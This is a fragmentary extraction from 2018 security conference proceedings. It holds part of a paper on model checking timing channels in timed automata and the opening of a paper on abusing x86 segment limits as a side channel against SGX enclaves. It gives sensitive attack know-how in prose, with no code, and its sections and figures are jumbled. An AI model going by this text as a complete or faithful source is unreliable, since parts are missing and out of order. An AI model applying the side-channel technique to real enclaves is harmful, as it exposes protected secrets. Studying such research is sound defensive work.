33. KASAN Bug Report: List of Kernel Bugs Detected by KASan (2018). https://
github.com/google/kasan/wiki/Found-Bugs
34. TOFINO SECURITY. https://www.tofinosecurity.com/blog/plc-security-risk-
controller-operating-systems/
35. LinPAC. http://www.icpdas.com/root/product/solutions/pac/linpac/linpac-
8000 introduction.html/
36. OpenPLC. http://www.openplcproject.com/
37. WAGO: Linux Programmable Fieldbus Controller
38. CERT.ORG: Vulnerability Notes Database
39. ScadaBR. http://www.scadabr.com.br/
40. Cooprider, N., Archer, W., Eide, E., Gay, D., Regehr, J.: Efficient memory safety
for TinyOS. In: SenSys 2007, pp. 205–218 (2007)
41. The Deputy Project (2007). http://deputy.cs.berkeley.edu
42. Gay, D., Levis, P., von Behren, R., Welsh, M., Brewer, E., Culler, D.: The nesC
language: a holistic approach to networked embedded systems. In: PLDI 2003
(2003)
43. Zhang, H., Shu, Y., Cheng, P., Chen, J.: Privacy and performance trade-off in
cyber-physical systems. IEEE Netw. 30(2), 62–66 (2016)
44. Stefanov, A., Liu, C.C., Govindarasu, M., Wu, S.S.: SCADA modeling for perfor-
mance and vulnerability assessment of integrated cyber-physical systems. Intern.
Trans. Electr. Energy Syst. 25(3), 498–519 (2015)
45. Vuong, T.P., Loukas, G., Gan, D.: Performance evaluation of cyber-physical intru-
sion detection on a robotic vehicle. In: IEEE International Conference On Com-
puter and Information Technology; Ubiquitous Computing and Communications;
Dependable, Autonomic and Secure Computing; Pervasive Intelligence and Com-
puting (2015)
46. Hu, H., Shinde, S., Adrian, S., Chua, Z.L., Saxena, P., Liang, Z.: Data-oriented
programming: on the expressiveness of non-control data attacks. In: SP 2016 (2016)
Model Checking the Information Flow
Security of Real-Time Systems
1 Introduction
Cyber-physical systems [35] are entrusted a fast-growing amount of sensitive
data, but are inherently vulnerable to security breaches such as manipulation
or leakage of information [15,25]. One subtle attack vector are timing chan-
nels [11], allowing attackers to infer sensitive information by observing the sys-
tem’s response times. In the worst case, such hidden flows of information could
even be exploited to manipulate the physical behavior and compromise the safety
of systems. Thus, to make cyber-physical systems secure by design [39], it is
essential to verify their information flow security before they get deployed.
Model-driven engineering is a widely used approach to securing cyber-
physical systems [38], making the software under development accessible to for-
mal verification. A well-established formal definition of information flow security
The stamp on the top of this paper refers to an approval process conducted by the
ESSoS Artifact Evaluation Committee.
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 27–43, 2018.
https://doi.org/10.1007/978-3-319-94496-8_3
28 C. Gerking et al.
2 Fundamentals
In this section, we recall timed automata (cf. Sect. 2.1), timed bisimulation (cf.
Sect. 2.2), and noninterference (cf. Sect. 2.3). Based on these fundamental con-
cepts, we introduce our motivating example in Sect. 2.4.
Uppaal1 [9] is an off-the-shelf model checker for timed automata that is com-
monly applied by software engineering practitioners, and frequently integrated
into domain-specific verification tools [43]. In the scope of this paper, we apply
Uppaal to verify the information flow security of timed automata.
2.3 Noninterference
1
http://uppaal.org
Model Checking the Information Flow Security of Real-Time Systems 31
internal
ManufacturingSystem Legend:
market.order / internal.query
c≤3 Component
c := 0
/ market.suborder Port
internal.submit
c<3 c=3/
external external.requery Loca on
Ini al
external.resubmit Loca on
c≤9 c≤7
market Edge
Our example component uses three ports to pass messages. The market port is
used to interact with the service market. Whenever a production order is received
from the market, the internal port is the preferred way to access the product
specification, provided that it is available as an in-house resource. Alternatively,
32 C. Gerking et al.
access to the specification may also be purchased from a business partner over the
external port. The messages passed over the market port are public (represented
by the set ΣL ), whereas the messages passed over the internal port are sensitive
(represented by ΣH ). In our example, messages passed over the external port are
not further characterized as public or sensitive because information flow needs
to be detected only from the internal to the market port.
In the following, we describe the behavior of the automaton from Fig. 1.
Whenever the automaton is in its initial location and receives an order message
from the market, it sends a query for the product specification over the internal
port. At the same time, it sets the clock c to zero which acts as a timeout. If
the internal port does not provide the specification in terms of a submit message
within three time units (i.e., the company does not possess the specification), a
requery message is sent over the external port to purchase the specification from a
business partner. In this case, the example system assumes that the specification
is provided in terms of a resubmit message within four further time units (c ≤ 7),
i.e., a deadlock caused by an overdue message can never occur. Finally, if the
specification is delivered from either the internal or external port, the system orders
the corresponding subproducts from the market by sending a suborder message
in the time interval c ≤ 9.
However, the system violates timed noninterference because the effective tim-
ing of the public suborder message depends on whether or not the specification
is possessed by the company. If possessed, the specification is provided by the
sensitive internal port, and suborder may be sent when c < 3. Otherwise, when pro-
vided by the external port, the suborder message can only be sent when c ≥ 3. This
deviation represents a timing channel that allows market participants to infer
whether the company possesses the product specification or not. This knowledge
is sensitive information that could be exploited in a future attack to gain access
to the specification. Due to the subtleties of real time, such leaks can easily
remain undetected during software design, and thus require a tool-supported
verification technique.
3 Related Work
In Sect. 3.1, we recall general approaches towards checking information flow secu-
rity, which are complementary to our work. In Sect. 3.2, we discuss related work
on the information flow security of time-dependent systems.
compared to our automata-based approach. In this area, type systems are often
used to enforce information flow security of programs statically. Furthermore,
a technique called self-composition has been proposed [7], reducing language-
based security to a logical formulation that is amenable to automated verifi-
cation, similar to our approach in the context of automata-based systems. We
refer the reader to [21,37] for a comparison of information flow security under
different models of computation. Another complementary approach is the one by
Finkbeiner et al. on model checking hyperproperties [18]. Unlike standard safety
or liveness properties, hyperproperties relate different executions of a system.
Thereby, they cover information flow security properties like noninterference.
Whereas hyperproperties involve a novel theory of specification and verification,
our focus is on applied verification using off-the-shelf tools.
The works by Evans and Schneider [17], Focardi et al. [20], and Akella
et al. [3] analyse the security of process algebras. Existing verification techniques
like theorem proving [17] or partial model checking [20] are applied, even in the
context of cyber-physical systems [3]. By using process algebra, the authors dif-
fer from our automata-based approach in terms of their model of computation.
In the context of language-based security, the work by Agat [2], Giaccobazzi and
Mastroeni [24], as well as Rafnsson et al. [40] uses imperative programs as yet
another model of computation. In contrast, the work by Köpf and Basin [32] on
synchronous systems is automata-based and also amenable to applied verifica-
tion. However, all of the above approaches are limited to discrete time, which is
insufficient to capture the real-time behavior of cyber-physical systems.
In contrast, other existing approaches consider dense real-time behavior.
Roscoe and Huang [41] use process algebra and thereby differ from our automata-
based approach. Son and Alves-Foss [44] as well as Kashyap et al. [31] both focus
on scheduling of real-time tasks, i.e., do not address the application level.
In the context of timed automata, Cassez [13] presents a real-time security
property called timed opacity as a generalization of noninterference. The author
proves the undecidability of the verification problem, i.e., is not concerned with
applied verification. Lanotte et al. [33] consider real-time privacy properties of
timed automata, and reduce the verification of such properties to a reachability
analysis [28], similar to this paper. In [34], the same authors consider nonin-
terference of timed automata extended by probabilistic behavior. However, the
application of existing model checking techniques is beyond the scope of their
approach. Benattar et al. [8] enable the synthesis of controllers that ensure non-
interference of timed automata. According to this constructive approach, they
do not consider applied verification as well. Vasilikos et al. [45] address the secu-
rity of timed automata that leak some information intentionally. The authors
propose an algorithm to impose local security constraints on the elements of an
automaton, however, do not enable applied verification using off-the-shelf tools.
Barbuti and Tesei [6] verify noninterference of timed automata. Similar to
our approach, they reduce the verification to a reachability analysis using applied
model checking. However, their approach only checks that sensitive information
does not influence the reachability of locations. This approximation gives rise to
both false positive and false negative errors, and thus is not capable to provide
any security guarantee. Nevertheless, the approach by Barbuti and Tesei [6] is
the only one that resembles the core characteristics of our paper (cf. Table 1).
1 Disable Automaton
Automaton A
Sensitive Inputs Asec = A \I ΣH
Refinement Check
2 Construct
3 Adjust System
Test Automaton
4 Parallel
Automaton A adj Test Automaton TA
Composition
5 Reachability Analysis
[Error Location
[else]
Reachable]
insecure secure
flow security of the original automaton. In particular, the test automaton detects
cases in which the behavior of the original automaton violates timed noninterfer-
ence. To this end, step 2 transforms the automaton Asec into a test automaton
TA , introducing a dedicated error location that is reachable when violating timed
noninterference by deviating from the secure-by-definition behavior.
As a challenge for the construction of the test automaton, we need to hide
all non-public actions from the bisimulation (cf. Definition 2) because only devi-
ations in the public behavior are violations of timed noninterference. In Fig. 3b,
we depict those actions that need to be hidden. A natural approach to hide an
action is to remove it from the corresponding edge [6,34], i.e., to replace it by a
τ action. However, removing input actions may lead to an increased nondeter-
minism. The reason is that this approach potentially produces multiple τ tran-
sitions that are all executable on the same condition because they are no longer
distinguishable by their input actions. However, the refinement check proposed
by Heinzemann et al. is restricted to systems with a deterministic transition
function [30], i.e., at most one edge can fire on a certain condition. Therefore,
in contrast to the default test automata for timed bisimulation [30], our test
automata must take responsibility for hiding non-public actions. We describe
the construction of these specialized test automata in the upcoming Sect. 4.2.
external.resubmit external.resubmit
c≤9 c≤7 c≤9 c≤7
To ensure that the test automaton acts as the oracle for the original automa-
ton, we need to couple both automata with each other. Therefore, step 3 cre-
ates an adjusted automaton Aadj that has the same behavior as A. However, it
synchronizes with the test automaton whenever both execute the same action.
Furthermore, Aadj supports the hiding of non-public actions in the same fashion
as the test automaton. In step 4 , we compose both TA and Aadj in parallel to
enable synchronized execution of the automata. In the final step 5 , the check
for timed noninterference reduces to analyzing the resulting parallel test system
for reachability of the error location. This reachability test [1] is carried out
by means of the Uppaal model checker, using its parallel composition operator
|| to enable the synchronizations between both automata [10]. In the end, the
automaton A is secure in terms of timed noninterference, if and only if the error
location is unreachable on all execution paths.
Model Checking the Information Flow Security of Real-Time Systems 37
To generate test automata, we adjust the construction schema for timed bisimu-
lation proposed by Heinzemann et al. [30] such that it hides non-public commu-
nication, as demanded by Definition 2. We adopt the notion of a dedicated error
location (named Err in our case) that is reachable if and only if timed nonin-
terference is violated. Figure 4 illustrates our construction schema including the
Err location. We apply this schema for each edge S → S of Asec . Our construc-
tion must ensure that TA will 1 accept secure communication (allowed by Asec
and correctly present in the original automaton A), 2 reject insecure commu-
nication (i.e., public communication that is not allowed by Asec but incorrectly
present in A), and 3 detect the absence of communication (i.e., public commu-
nication that is allowed by Asec but incorrectly absent in A). Before going into
details about the three cases, we introduce additional notation used in Fig. 4.
Synchronous input and output actions are denoted by μ? and μ! respectively.
The set Θ(S) includes all actions that are allowed in a location S, i.e., all actions
of outgoing edges of S. The invariant of S is denoted by I(S). In accordance with
Definition 1, ρ is a time guard, and λ is a set of clock resets.
3
1
2a
2b
the time guard of ST A → ST A is the conjunction of the original time guard ρ
and the invariant I(S) of S. Thus, ST A → ST A is enabled whenever S → S is
enabled.
always enabled, however, it has the lowest priority compared to all other channels
used for communication. Thereby, Err is only reachable when the required public
communication is absent.
5 Proof of Concept
In this section, we showcase the utility of our approach in the scope of the
example given in Sect. 2.4. To this end, we demonstrate that our technique out-
performs the related work by detecting a timing channel that remains undetected
using the approach by Barbuti and Tesei [6]. We show that our technique rejects
the insecure system, but accepts a mitigated system that is noninterferent.
To verify the information flow security of timed automata, Barbuti and Tesei
check that disabling sensitive actions does not affect the reachability of loca-
tions. In the scope of our example, the corresponding transformation was shown
in Fig. 3a. Clearly, disabling the sensitive submit action does not affect the reach-
ability of locations (compared to Fig. 3b) because all locations are still reachable.
Thus, the timing channel described in Sect. 2.4 remains undetected by the app-
roach, and therefore represents a false negative because the insecure system is
regarded as secure.
In contrast, Fig. 5 illustrates the parallel composition of the adjusted automa-
ton Aadj (Fig. 5a) and the test automaton Ta (Fig. 5b) as proposed in this paper.
As an artifact for reproduction, we provide a corresponding model that is ver-
ifiable by the Uppaal model checker [23]. Due to lack of space, Fig. 5 merges
multiple edges between the same source and target locations into a single edge
with alternative synchronization labels. Furthermore, we omit the names of ports
over which messages are sent or received. Finally, since edges with a conjunction
of actions are not allowed in Uppaal, we use a committed location [10] (labeled
with c in Fig. 5) to divide the order and query actions into two consecutive edges.
Figure 5 also depicts the additional loops added to both automata for hiding
non-public communication, as described for the test automata in Sect. 4.2.
In the situation depicted in Fig. 5, the system has already processed the
message sequence order, query, submit (in the time interval c < 3). Since sensitive
inputs are disabled in Ta , it can only execute a loop when processing the sensitive
submit message. Next, the public suborder message to be sent by Aadj corresponds
to case 2a of our construction in Sect. 4.2. Thus, Ta will regard the message
as insecure, and reject it by switching to the Err location. The reason for this
violation is that Aadj sends the public suborder message too early, i.e., in the
time interval c ∈ [0, 3]. Thus, in its current location (cf. Fig. 5b), Ta regards the
message as not allowed and switches to Err.
Figure 6 shows the countermeasures taken to mitigate the timing channel.
In Fig. 6a, we depict the time guard c = 9 added to delay the suborder message.
Consequently, the timing of the message does no longer depend on whether or not
the product specification was provided over the sensitive internal port. Figure 6b
depicts the resulting changes of the test automaton. Since the timing of the
suborder message is now fixed, the Err location is no longer reachable. Accordingly,
our construction correctly identifies the mitigated system as noninterferent.
Acknowledgments. The authors would like to thank Johannes Geismann and Marie
Christin Platenius for helpful comments on drafts of this paper.
References
1. Aceto, L., Burgueño, A., Larsen, K.G.: Model checking via reachability testing for
timed automata. In: Steffen, B. (ed.) TACAS 1998. LNCS, vol. 1384, pp. 263–280.
Springer, Heidelberg (1998). https://doi.org/10.1007/BFb0054177
2. Agat, J.: Transforming out timing leaks. In: POPL 2000, pp. 40–53. ACM (2000)
3. Akella, R., Tang, H., McMillin, B.M.: Analysis of information flow security in
cyber-physical systems. Int. J. Crit. Infrastruct. Prot. 3(3–4), 157–173 (2010)
4. Alur, R., Courcoubetis, C., Dill, D.L.: Model-checking in dense real-time. Inf. Com-
put. 104(1), 2–34 (1993)
5. Alur, R., Dill, D.L.: A theory of timed automata. Theor. Comput. Sci. 126(2),
183–235 (1994)
6. Barbuti, R., Tesei, L.: A decidable notion of timed non-interference. Fundamenta
Informaticae 54(2–3), 137–150 (2003)
7. Barthe, G., D’Argenio, P.R., Rezk, T.: Secure information flow by self-composition.
Math. Struct. Comput. Sci. 21(6), 1207–1252 (2011)
8. Benattar, G., Cassez, F., Lime, D., Roux, O.H.: Control and synthesis of non-
interferent timed systems. Int. J. Control 88(2), 217–236 (2015)
9. Bengtsson, J., Larsen, K., Larsson, F., Pettersson, P., Yi, W.: UPPAAL—a tool
suite for automatic verification of real-time systems. In: Alur, R., Henzinger, T.A.,
Sontag, E.D. (eds.) HS 1995. LNCS, vol. 1066, pp. 232–243. Springer, Heidelberg
(1996). https://doi.org/10.1007/BFb0020949
10. Bengtsson, J., Yi, W.: Timed automata: semantics, algorithms and tools. In:
Desel, J., Reisig, W., Rozenberg, G. (eds.) ACPN 2003. LNCS, vol. 3098, pp. 87–
124. Springer, Heidelberg (2004). https://doi.org/10.1007/978-3-540-27755-2 3
11. Biswas, A.K., Ghosal, D., Nagaraja, S.: A survey of timing channels and counter-
measures. ACM Comput. Surv. 50(1), 6:1–6:39 (2017)
12. Broman, D., Derler, P., Eidson, J.: Temporal issues in cyber-physical systems. J.
Indian Inst. Sci. 93(3), 389–402 (2013)
42 C. Gerking et al.
13. Cassez, F.: The dark side of timed opacity. In: Park, J.H., Chen, H.-H.,
Atiquzzaman, M., Lee, C., Kim, T., Yeo, S.-S. (eds.) ISA 2009. LNCS, vol. 5576,
pp. 21–30. Springer, Heidelberg (2009). https://doi.org/10.1007/978-3-642-02617-
13
14. Čerāns, K.: Decidability of bisimulation equivalences for parallel timer processes.
In: von Bochmann, G., Probst, D.K. (eds.) CAV 1992. LNCS, vol. 663, pp. 302–315.
Springer, Heidelberg (1993). https://doi.org/10.1007/3-540-56496-9 24
15. Chattopadhyay, A., Prakash, A., Shafique, M.: Secure cyber-physical systems: cur-
rent trends, tools and open research problems. In: DATE 2017, pp. 1104–1109.
IEEE (2017)
16. Crnkovic, I., Malavolta, I., Muccini, H., Sharaf, M.: On the use of component-based
principles and practices for architecting cyber-physical systems. In: CBSE 2016,
pp. 23–32. IEEE (2016)
17. Evans, N., Schneider, S.: Analysing time dependent security properties in CSP
using PVS. In: Cuppens, F., Deswarte, Y., Gollmann, D., Waidner, M. (eds.)
ESORICS 2000. LNCS, vol. 1895, pp. 222–237. Springer, Heidelberg (2000).
https://doi.org/10.1007/10722599 14
18. Finkbeiner, B., Rabe, M.N., Sánchez, C.: Algorithms for model checking Hyper-
LTL and HyperCTL∗ . In: Kroening, D., Păsăreanu, C.S. (eds.) CAV 2015. LNCS,
vol. 9206, pp. 30–48. Springer, Cham (2015). https://doi.org/10.1007/978-3-319-
21690-4 3
19. Focardi, R., Gorrieri, R.: A taxonomy of security properties for process algebras.
J. Comput. Secur. 3(1), 5–34 (1995)
20. Focardi, R., Gorrieri, R., Martinelli, F.: Real-time information flow analysis. IEEE
J. Sel. Areas Commun. 21(1), 20–35 (2003)
21. Focardi, R., Rossi, S., Sabelfeld, A.: Bridging language-based and process cal-
culi security. In: Sassone, V. (ed.) FoSSaCS 2005. LNCS, vol. 3441, pp. 299–315.
Springer, Heidelberg (2005). https://doi.org/10.1007/978-3-540-31982-5 19
22. Gerking, C.: Traceability of information flow requirements in cyber-physical sys-
tems engineering. In: CEUR Workshop Proceedings, DocSym@MoDELS 2016, vol.
1735 (2016)
23. Gerking, C.: Detection of a timing channel in an UPPAAL model of a cyber-
manufacturing system (2018). https://doi.org/10.5281/zenodo.1034024
24. Giacobazzi, R., Mastroeni, I.: Timed abstract non-interference. In: Pettersson, P.,
Yi, W. (eds.) FORMATS 2005. LNCS, vol. 3829, pp. 289–303. Springer, Heidelberg
(2005). https://doi.org/10.1007/11603009 22
25. Giraldo, J., Sarkar, E., Cárdenas, A.A., Maniatakos, M., Kantarcioglu, M.: Security
and privacy in cyber-physical systems: a survey of surveys. IEEE Des. Test 34(4),
7–17 (2017)
26. Goguen, J.A., Meseguer, J.: Security policies and security models. In: IEEE S&P,
pp. 11–20. IEEE (1982)
27. Goguen, J.A., Meseguer, J.: Unwinding and inference control. In: IEEE S&P, pp.
75–87. IEEE (1984)
28. Gorrieri, R., Lanotte, R., Maggiolo-Schettini, A., Martinelli, F., Tini, S.,
Tronci, E.: Automated analysis of timed security. Int. J. Inf. Secur. 2(3–4), 168–186
(2004)
29. Guttman, J.D., Nadel, M.E.: What needs securing. In: CSFW, pp. 34–57. MITRE
Corporation Press (1988)
30. Heinzemann, C., Brenner, C., Dziwok, S., Schäfer, W.: Automata-based refinement
checking for real-time systems. Comput. Sci. - R&D 30(3–4), 255–283 (2015)
Model Checking the Information Flow Security of Real-Time Systems 43
31. Kashyap, V., Wiedermann, B., Hardekopf, B.: Timing- and termination-sensitive
secure information flow. In: IEEE S&P, pp. 413–428. IEEE (2011)
32. Köpf, B., Basin, D.: Timing-sensitive information flow analysis for synchronous
systems. In: Gollmann, D., Meier, J., Sabelfeld, A. (eds.) ESORICS 2006. LNCS,
vol. 4189, pp. 243–262. Springer, Heidelberg (2006). https://doi.org/10.1007/
11863908 16
33. Lanotte, R., Maggiolo-Schettini, A., Tini, S.: Privacy in real-time systems. Elec-
tron. Notes Theor. Comput. Sci. 52(3), 295–305 (2001)
34. Lanotte, R., Maggiolo-Schettini, A., Troina, A.: Time and probability-based infor-
mation flow analysis. IEEE Trans. Softw. Eng. 36(5), 719–734 (2010)
35. Lee, E.A.: CPS foundations. In: DAC 2010, pp. 737–742. ACM (2010)
36. van der Meyden, R., Zhang, C.: Algorithmic verification of noninterference prop-
erties. Electron. Notes Theor. Comput. Sci. 168, 61–75 (2007)
37. van der Meyden, R., Zhang, C.: A comparison of semantic models for noninterfer-
ence. Theor. Comput. Sci. 411(47), 4123–4147 (2010)
38. Nguyen, P.H., Ali, S., Yue, T.: Model-based security engineering for cyber-physical
systems. Inf. Softw. Technol. 83, 116–135 (2017)
39. Peisert, S., Margulies, J., Nicol, D.M., Khurana, H., Sawall, C.: Designed-in security
for cyber-physical systems. IEEE Secur. Priv. 12(5), 9–12 (2014)
40. Rafnsson, W., Jia, L., Bauer, L.: Timing-sensitive noninterference through com-
position. In: Maffei, M., Ryan, M. (eds.) POST 2017. LNCS, vol. 10204, pp. 3–25.
Springer, Heidelberg (2017). https://doi.org/10.1007/978-3-662-54455-6 1
41. Roscoe, A.W., Huang, J.: Checking noninterference in timed CSP. Formal Asp.
Comput. 25(1), 3–35 (2013)
42. Sabelfeld, A., Myers, A.C.: Language-based information-flow security. IEEE J. Sel.
Areas Commun. 21(1), 5–19 (2003)
43. Schivo, S., Yildiz, B.M., Ruijters, E., Gerking, C., Kumar, R., Dziwok, S.,
Rensink, A., Stoelinga, M.: How to efficiently build a front-end tool for UPPAAL:
a model-driven approach. In: Larsen, K.G., Sokolsky, O., Wang, J. (eds.) SETTA
2017. LNCS, vol. 10606, pp. 319–336. Springer, Cham (2017). https://doi.org/10.
1007/978-3-319-69483-2 19
44. Son, J., Alves-Foss, J.: A formal framework for real-time information flow analysis.
Comput. Secur. 28(6), 421–432 (2009)
45. Vasilikos, P., Nielson, F., Nielson, H.R.: Secure information release in timed
automata. In: Bauer, L., Küsters, R. (eds.) POST 2018. LNCS, vol. 10804, pp.
28–52. Springer, Cham (2018). https://doi.org/10.1007/978-3-319-89722-6 2
Off-Limits: Abusing Legacy x86 Memory
Segmentation to Spy on Enclaved
Execution
imec-DistriNet, KU Leuven,
Celestijnenlaan 200A, 3001 Leuven, Belgium
{jo.vanbulck,frank.piessens,
raoul.strackx}@cs.kuleuven.be,
jago.gyselinck@student.kuleuven.be
1 Introduction
Most popular operating systems and virtual machine managers have now been
around for multiple decades. During this period, a steady stream of critical
The stamp on the top of this paper refers to an approval process conducted by the
ESSoS Artifact Evaluation Committee.
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 44–60, 2018.
https://doi.org/10.1007/978-3-319-94496-8_4
Off-Limits: Abusing Legacy x86 Memory Segmentation 45
vulnerabilities has been found in their expansive code bases. These vulnerabilities
continue to be problematic for any application that wishes to do secure compu-
tations on such a platform. In order to shield applications from potentially mali-
cious or compromised system software, a significant research effort has recently
been put into creating Protected Module Architectures (PMAs) [7,16,17,22].
These architectures offer isolated execution for security sensitive application
components, while leaving the underlying system software explicitly untrusted.
With the introduction of its Software Guard Extensions (SGX) [1,6,17], Intel
brought their implementation of a PMA to the mass consumer market. Con-
ceived as an extension to the x86 instruction set architecture, SGX provides
strong trusted computing guarantees with a minimal Trusted Computing Base
(TCB), which is limited to the protected module or enclave, and the processor
package.
Recent research [15,18,21,24–27] has shown, however, that the combination
of SGX’s strong adversary model and reduced TCB allows a privileged attacker
to create high resolution, low-noise controlled-channels that leak information
about the enclave’s internal state. More specifically, enclave programs still rely
on the untrusted operating system to manage shared platform resources such as
CPU time or memory. Within SGX’s adversary model, an attacker may attempt
to leverage control over these resources to infer enclave secrets. Notably, Xu et
al. [27] first showed how to recover rich information such as full images and
text from a single enclaved execution by carefully restricting enclave page access
rights and observing the resulting page fault sequences. Since their seminal work,
more conventional side-channels such as the processor cache [2,10,18] and branch
prediction unit [15] have also been improved in the context of SGX.
Considering that innovative page fault attacks [21,27] only recently became
relevant in a kernel-level PMA adversary model, they have received considerable
attention from the research community. A good level of understanding of page
table attack surface has since been built up by (i) exploring stealthy attack vari-
ants [25,26] that abuse other side-effects of the page table walk, (ii) developing
software-based defense mechanisms [4,5,20,23] for off-the-shelf SGX processors,
and (iii) designing fortified PMAs [7,8] that rule out these attacks at the hard-
ware level. This paper shows, however, that enclaved memory accesses in 32-bit
mode not only leak through page tables, but also through the largely overlooked
x86 memory segmentation unit. A feature that is for the most part disabled
on 64-bit systems, but regains relevance when considering 32-bit enclaves. We
advance the understanding of address translation controlled-channels by show-
ing that under certain assumptions, attackers can leverage control over segment
limits to infer byte-granular memory access patterns from an enclaved execution.
Furthermore, our findings illustrate that the backwards compatibility require-
ment of modern x86 processors suggests new and unexpected side-channels stem-
ming from largely abandoned legacy features. In summary, the contributions of
this paper are:
– We show how for 32-bit enclaves the x86 segmentation unit can be abused
as a novel, noise-free side-channel to reveal precise byte-granular control flow
and instruction sizes in the first megabyte of a victim enclave.
46 J. Gyselinck et al.
– We explain how for the remainder of the enclave address space, segmentation
attacks can infer memory accesses at a conventional page-level granularity.
– We implement our attacks and practically demonstrate their enhanced preci-
sion by defeating a recently proposed branch obfuscation defense.
– We reveal an undocumented Intel microcode update that silently blocks our
attacks without updating the processor’s security version number. Only the
very recent Spectre CPU updates can adequately prevent our attacks.
2 Background
We first present Intel SGX and our attacker model, before introducing the nec-
essary background on x86 memory organization.
Fig. 1. On x86 logical addresses pass through the segmentation and paging units
respectively. The resulting physical address is additionally sanitized by SGX.
Fig. 2. The segmentation unit checks that each referenced segment adheres to the
segment’s limitations described in the descriptor table
The Paging Unit. After the segmentation unit translated a logical address to a
linear one, the paging unit translates it in turn to a physical address. It does so by
dividing the linear address space in fixed memory regions called pages. The base
address of each referenced page is located in an in-memory page table structure
maintained by the operating system. After the page table walk, the processor
obtains the physical page base address, plus the associated access rights and
other attributes (e.g., whether the page is present or has been accessed before).
3 Segmentation-Based Attacks
Intel SGX enclaves execute in the same logical address space as their host pro-
cess. Just like logical addresses used in the untrusted (legacy) part of a process
pass through the segmentation and paging unit, so do the addresses referenced
during SGX enclave execution. These address translation units are under com-
plete control of the potentially malicious kernel. To prevent an attacker from
mistranslating enclave addresses, Intel SGX applies additional checks as a final
step (see Fig. 1). During enclave creation, the processor records for every enclave
page the logical address they should be loaded at and to which physical address
they should be translated to. The kernel is still in control over all memory allo-
cation decisions. She can for example decide to evict enclave pages from main
memory, but the hardware will check whether the memory translation units have
been set up correctly.
Unfortunately, SGX’s untrusted page table design also opens up powerful
controlled-channel attacks. Early page fault-driven attacks [21,27] and more
recently improved fault-less page table-based attacks [25,26] show that pag-
ing mechanisms can be abused by an attacker to leak enclave memory accesses
at page-level granularity. When these memory accesses are secret-dependent,
they may reveal sensitive information. To the best of our knowledge, academic
research has only looked into leveraging the paging unit. For an SGX-capable
processor in 32-bit mode however, the segmentation unit also interposes on every
enclaved address translation.
Off-Limits: Abusing Legacy x86 Memory Segmentation 49
The Intel Programming Reference Manual [12] states that “enclaves abide by
all the segmentation policies set up by the OS”, but several sanity checks on
the segmentation policy have been put in place. For example, it is enforced
that the %CS, %DS, %SS and %ES registers point to segment descriptors which
have their base address set to zero, as any other value could maliciously change
the interpretation of enclaved code. Trusted in-enclave segment selectors and
descriptors for the %FS and %GS segments are saved and replaced on enclave
entry to facilitate access to the enclave’s thread local storage. This means that
the %FS and %GS segments are immune to the attacks described in this paper, for
any modifications made by an attacker will not propagate to enclaved execution.
We make the crucial observation that, while the Intel SGX hardware forces
segment descriptor base addresses to be 0x0, their limit is still under the control
of an attacker. Reducing the limit of a segment, will cause a general protection
fault whenever an attempt is made to cross it. In Sect. 2.2 we have discussed that
segment limits can be specified at byte-granularity up to the 1 MiB boundary.
Limits past this bound can only be specified at 4 KiB granularity.
We will first explore the possibilities when the granularity flag is set. As said
before, this will allow to leak information about memory accesses at page gran-
ularity. When compared to the earlier explored page fault-driven attacks, there
is one fundamental difference. Restricting page access rights makes small chunks
of memory inaccessible for the processor, while leaving others completely unaf-
fected. Segmentation presents a rougher, binary condition; either a memory loca-
tion is within the segment or it is not. In other words, moving the segment limit
not only influences a single page, but all pages that are now above the segment
limit.
It is this difference that presents an interesting challenge. We present a run-
ning example code snippet in Fig. 3 with some sample enclave code that repre-
sents a simple voting mechanism. We assume the vote being cast is secret and
that the attacker wishes to derive its value. For simplicity we assume all functions
of interest are aligned on their own pages. To illustrate the problem, imagine the
vote function being executed, with the segment limit taken as indicated on Fig. 3.
Now assume that the attacker observes a general protection fault. Clearly, this
may occur when the vote function was called for candidate B, as the handler
for that candidate is outside of the segment. However, a second possibility also
exists where the vote is for candidate A. Here, control will be passed back to
the vote function, which in turn calls the total vote handler, causing a general
protection fault as well. The two general protection faults will be identical to an
attacker, who is now unable to derive any information. To solve this, we combine
the segmentation unit with a secondary framework. In most of our examples, we
use the page-fault side-channel as an extra layer of information for simplicity
of illustration. This side-channel then functions as an oracle to indicate to the
50 J. Gyselinck et al.
attacker whether the memory access has passed the segmentation stage. The
exact same can also be achieved by monitoring the page accessed bit [25,26].
Alternatively, we can make sure the enclave takes just one step, for which a
single stepping interrupt framework such as SGX-Step [24] can be used.
Since this first attack has the same granularity as the original page fault
driven attacks, it would not be useful in this context to use that same side-
channel as the secondary framework. At the same time, replicating previous
page table-based attacks results [21,25–27] without using the paging unit demon-
strates that state-of-the-art defenses that move the page tables into enclave mem-
ory [7,8] may not suffice for 32-bit enclaves. Because of this, we illustrate how
we can replicate page fault-driven attacks using solely the segmentation unit and
SGX-Step, without the need to alter page table entries.
Reconsider the running example of Fig. 3, where we wish to extract which
candidate was voted for. Initially, we set the limit of %CS at 0x3000, making
pages of both candidate handlers inaccessible. The attacker is then guaranteed
to observe a general protection fault when the enclave is single stepped until one
of the handlers is called. At this point, the attacker can move the segment limit
to also include the handler for candidate A (limit at 0x4000). When the enclave
is resumed, the single-stepping framework makes sure at most one instruction is
